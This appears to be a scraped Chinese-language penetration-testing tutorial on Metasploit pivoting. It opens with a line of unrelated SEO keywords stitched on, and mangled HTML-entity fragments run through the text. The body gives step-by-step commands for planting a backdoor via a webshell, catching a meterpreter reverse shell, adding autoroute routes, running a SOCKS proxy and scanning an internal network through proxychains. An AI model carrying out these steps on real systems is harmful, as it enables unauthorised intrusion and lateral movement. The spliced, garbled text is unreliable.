做网站需提供什么资料,北京中铁建设集团有限公司,短链接生成源码,上海住房和城乡建设部网站1、介绍#xff1a;
通过MSF拿到一个机器的权限后#xff0c;通过MSF搭建socks代理#xff0c;然后通内网。
拿到目标权限#xff0c;有很多方法#xff0c;比如#xff1a;①ms17-010 ②补丁漏洞 ③MSF生成后门
在此直接使用MSF生成后门
MSF中有三个代理模块#x…1、介绍
通过MSF拿到一个机器的权限后通过MSF搭建socks代理然后通内网。
拿到目标权限有很多方法比如①ms17-010 ②补丁漏洞 ③MSF生成后门
在此直接使用MSF生成后门
MSF中有三个代理模块分别是socks4a、socks5、socks_unc。 一般用 socks4a和socks5进行代理socks5可以设置用户名和密码 新版本的MSF已经整合了socks代理在模块中模块中直接设置。
2、获取权限
在此省略前期的信息收集
1生成后门
2上传后门
可以通过哥斯拉等webshel工具上传可以在msf中拿到权限后在kali本地生成http服务然后wget下载实战需根据杀软进程免杀
3监听、上线MSF
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp #与后门一一对应
optionsrun #若是在实战情况下一般先赋予权限然后才能执行讲当前会话挂起
background #挂起会话为23、添加路由
第一种方式 使用代理之前先添加路由让MSF能到达目标机器内网。 这里socks模块是将代理设置为监听的端口(默认是1080)通过proxychains的流量都转给本地的1080端口因为这是MSF起的监听端口所以通过代理走的流量也都能到达内网。
# 选择代理规则
search autoroute
use 0
set sessions 5
run
route print #打印路由此时windows 7 内网已经能够访问但是目前的情况刚刚满足在msf中访问内网要想让其他应用同样访问内网需要构建路由。
第二种方式 获取shell拿到第一层靶机shell后利用命令查看网卡情况发现有192.168.1.0/24网段 为了在kali中访问需要设置路由
run autoroute -s 192.168.1.0/24 #去往1.0网段的代理
run autoroute -p4、搭建socks代理
#使用socks5代理为例子
# 账号和密码可以不用设置
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set USERNAME root
set PASSWORD root
run1端口存活探测
使用MSF模块扫描一个网段的所有端口根据开放端口可以发现存活主机
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(1-10000)如果开放了端口则说明该主机存活或者配置proxychain.conf
vim /etc/proxychains.conf加入新设置的代理通过proxychains4代理操作 接着扫描下一层端口使用nmap
proxychains nmap -sT 192.168.111.2至此利用MSF代理基本已经打通了二层
